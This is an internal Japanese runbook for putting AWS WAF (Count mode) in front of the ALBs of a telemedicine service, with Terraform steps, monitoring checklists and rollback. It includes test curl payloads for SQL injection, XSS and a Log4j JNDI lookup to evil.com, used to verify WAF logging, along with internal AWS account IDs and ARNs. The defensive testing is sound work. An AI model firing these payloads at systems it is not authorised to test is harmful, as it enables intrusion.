FDサービス系 ALB + WAF 切り替え計画書
ドキュメント情報
| 項目 | 内容 |
|---|---|
| 作成日 | 2026-05-27 |
| 対象環境 | staging（事前検証）→ production |
| 関連ドキュメント | 移行設計書, WAF 運用設計書（LP向け）, FDサービス系WAF 運用設計書 |
| 関連Issue | mental-online-karte#11666, mental-online-karte#11667 |
切り替えの全体フロー
各サービスごとに Phase 1 の手順を繰り返し、全サービス完了後に Phase 2 以降に進む。
注: CloudFront + WAF 構成から ALB + WAF（REGIONAL）構成に変更。DNS 切替・ALB SG 制限（Phase 1.5）は不要になった。詳細は構成比較検討結果を参照。
導入順序
| 順序 | サービス | AWSアカウント | 理由 |
|---|---|---|---|
| 1 | backend.fastdoctor.jp | fd-sys | トラフィック最多、障害時に最も影響大 |
| 2 | backend-online-karte.fstdr.jp | fd-prod | カルテバックエンド |
| 3 | p.fstdr.jp | fd-prod | 患者マイページ |
| 4 | 残りのサービスを順次 | - | アクセス元確認結果を踏まえて決定 |
注: 各サービスのstaging環境で事前検証を行ってからproductionに適用する。 staging環境はproductionとドメイン・アカウント・証明書が異なる。
staging環境の情報
| 項目 | staging | production |
|---|---|---|
| AWSアカウント | fd-stg（770217130318）, fd-dev（900176301532） | fd-prod / fd-sys |
| ドメイン | *.fstdr.app, *.fd-local.net, 一部 *-stg.fstdr.jp（fd-sys staging） | *.fstdr.jp, *.fastdoctor.jp |
| CloudFlare | fstdr.app, fd-local.net, fstdr.jp（*-stg サフィックス分） | fstdr.jp, fastdoctor.jp |
| ACM証明書（us-east-1） | *.fstdr.app（arn:aws:acm:us-east-1:301608970378:certificate/fd7431d8-7bbf-4694-8748-3e1a36196abf）*.fd-local.net（arn:aws:acm:us-east-1:301608970378:certificate/c5303446-c411-450b-8fe0-fa7b60f8527f） | *.fstdr.jp, *.fastdoctor.jp |
| waf-shared-sets | 作成が必要 | fd-sys: あり。fd-prod: 作成が必要 |
注:
*.fstdr.jpのstaging用ACM証明書は EXPIRED（期限切れ）。staging では*.fstdr.appを使用する。
staging環境について
staging環境の対象サービス・ドメイン対応は別途ドメイン一覧として作成する。
staging環境の留意点:
- DNS管理がサービスによってCloudFlareとRoute53に分かれている場合がある。CNAME切替手順がサービスごとに異なるため、ドメイン一覧で管理先を明記する
p.fstdr.appは既にCloudFront経由で本番と構成差分があるpayment.fstdr.appはDNS未設定- fd-sys staging のドメインは
*.fstdr.jpの-stgサフィックス（backend-stg.fstdr.jp等）
事前確認項目
| # | 確認項目 | 状態 |
|---|---|---|
| 1 | 対象ALBが443/HTTPSでリスンしているか | production: 確認済み（全ALB HTTPS only）。staging: 要確認 |
| 2 | ACM証明書がus-east-1に存在するか | 全環境確認済み。staging fd-stg: *.fstdr.app, *.fd-local.net。staging fd-dev: *.fstdr.jp, *.fastdoctor.jp, *.fd-local.net。production: *.fstdr.jp, *.fastdoctor.jp |
| 3 | waf-shared-sets（共有IPセット）が存在するか | fd-sys: あり。staging, fd-prod: 作成が必要 |
| 4 | CloudFlare DNSのTTL | 現在「自動」（300秒）。切替前に 60秒 に変更する |
| 5 | staging環境の対象サービス・ドメイン対応 | 要調査 |
Phase 1: ALB + WAF 導入（Count）
サービスごとの作業手順
各サービスについて、Step 1〜3 を順に実施する。DNS 切替は不要。
Step 1: Terraform apply — WAF 作成・ALB にアタッチ
作業内容: WAF Web ACL を作成し、ALB にアタッチする。WAF は Count モードなので既存の通信に影響なし。API Gateway サービスは別途検討。
作業場所: 対象サービスのTerraformディレクトリ
# 例: backend.fastdoctor.jp の場合
cd fastdoctor-template/fd-system/production
./download-tfvar.sh
terraform plan
terraform apply
./upload-tfvar.sh作成されるリソース:
- WAF Web ACL（REGIONAL、全ルールCountモード、IP/UA BlacklistのみBlock）
- IPセット（共有参照 + サービス個別（空））
- WAFログ基盤（Kinesis Firehose → Datadog + S3）
- ALB への WAF アタッチ
確認項目:
- [ ] terraform apply が成功すること
- [ ] WAF Web ACL が作成され、ALB にアタッチされていること
- [ ] WAF ルールが設計通りであること
- [ ] 正常系のアクセス確認（
curl https://対象ドメイン/status等で 200 が返ること）
Step 2: Datadogログ転送確認
作業内容: WAF アタッチ後、攻撃パターンのリクエストを送信し WAF ログが Datadog に届くことを確認する。
手順:
# 攻撃パターンのリクエストを送信（WAFルールにCountマッチさせる）
# SQLi パターン
curl "https://対象ドメイン/test?id=1'%20OR%201=1--"
# XSS パターン
curl "https://対象ドメイン/test?q=<script>alert(1)</script>"
# Log4j パターン
curl -H "X-Custom: \${jndi:ldap://evil.com/a}" "https://対象ドメイン/status"確認項目:
- [ ] Datadogで
source:wafのログが確認できること（Firehoseバッファ60秒後） - [ ]
waf_host,waf_action,waf_ruleタグが正しく付与されていること - [ ] Logging Filter が動作していること（ALLOWログは記録されず、COUNTログのみ記録）
Step 3: 導入後の監視
作業内容: WAF アタッチ後、正常に動作していることを確認する。
注: アクセス数が多いサービス（
backend.fastdoctor.jp,p.fstdr.jp）は、WAFログ転送先をインフラDatadogアカウントに設定している。 監視で問題がなければ、本番Datadogアカウントに切り替える。
導入直後（1時間）:
- [ ] Datadogで WAFログを5分ごとに確認
- Blockされたリクエストがないか（IP/UA Blacklist以外でBlockが出ていたら異常）
- Countが異常に多いルールがないか
- [ ] ALB のリクエスト数が導入前と比べて極端に減少していないことを確認（WAF が正規リクエストを誤 Block していないかの裏付け）
- [ ] ALB のエラーレート（5xx）が増加していないことを確認（WAF で先に弾かれるはずだが念のため）
- [ ] ユーザーからの障害報告がないこと
導入後1日:
- [ ] WAFログの Count 数を確認
- 誤検知パターン: 正規リクエストがCRS/SQLi等にマッチしていないか
- 攻撃検知: 実際の攻撃が検知されているか（国外IP、Bot、SQLi試行等）
- [ ] アクセスパターンの確認（アクセス元IP、国別分布）
- [ ] Datadogログ量が想定内か確認
導入後1-2週間（Phase 1 監視期間）:
- [ ] 各ルールの Count マッチ数・パターンを監視
- [ ] 誤検知パターンの収集
- [ ] サービスごとのアクセス要件を整理
- [ ] 問題がなければWAFログ転送先を本番Datadogアカウントに切り替える
切り戻し手順
問題発生時の切り戻し手順。WAF を ALB から detach するだけで即座に復旧。
- Terraform で WAF アタッチ設定を削除して apply（または AWS コンソールで WAF Web ACL を ALB から disassociate）
- WAF が即座に無効化され、元の ALB 直接アクセスに戻る
- 関係者に切り戻し完了を報告
切り戻し判断基準:
- エラーレートが急増している
- ユーザーから障害報告が複数あがっている
注: WAF Web ACL リソース自体は削除しない。ALB から disassociate するだけで切り戻し完了。原因調査後に再度アタッチできる。
対象サービスごとの設定値
fd-sys アカウント（*.fastdoctor.jp）
| 項目 | backend.fastdoctor.jp |
|---|---|
| WAFアタッチ先 | ALB（fastdoctor-manager-prd-app-383969541.us-east-1.elb.amazonaws.com） |
| WAFスコープ | REGIONAL |
| WAFルール | 全Count（設計書Phase 1構成） |
| WAFログ | Firehose → Datadog（インフラアカウント）+ S3 |
fd-prod アカウント（*.fstdr.jp）
| 項目 | backend-online-karte.fstdr.jp | p.fstdr.jp |
|---|---|---|
| WAFアタッチ先 | ALB（online-karte-service-2073905677.ap-northeast-1.elb.amazonaws.com） | ALB（online-patient-mypage-1403221813.us-east-1.elb.amazonaws.com） |
| WAFスコープ | REGIONAL | REGIONAL |
| WAFルール | 全Count（設計書Phase 1構成） | 同左 |
| WAFログ | Firehose → Datadog（インフラアカウント）+ S3 | Firehose → Datadog（インフラアカウント）+ S3 |
Phase 2: Count → Block化（概要）
Phase 1 完了後、誤検知リスクが低いルールから段階的にBlockに切り替える。 詳細は 移行設計書 の Phase 2 を参照。
切替順序:
- Amazon IP Reputation List
- Anonymous IP List
- Known Bad Inputs
- SQLi Rule Set
- Core Rule Set (CRS)
Phase 3: 追加ルール・最適化（概要）
Phase 2 が安定した後、必要に応じて以下を検討。 詳細は 移行設計書 の Phase 3 を参照。
- Rate-based ルール
- Label-based 除外パターン
- CloudFront のキャッシュ導入検討（必要な場合。CloudFront 固有の制約があるため staging で十分に検証すること）
変更履歴
| 日付 | バージョン | 変更内容 | 担当 |
|---|---|---|---|
| 2026-05-27 | 1.0 | 初版作成 | 大賀 |
| 2026-06-08 | 2.0 | CloudFront + WAF → ALB + WAF（REGIONAL）に方針変更。DNS 切替・Phase 1.5（ALB SG 制限）を削除 | 大賀 |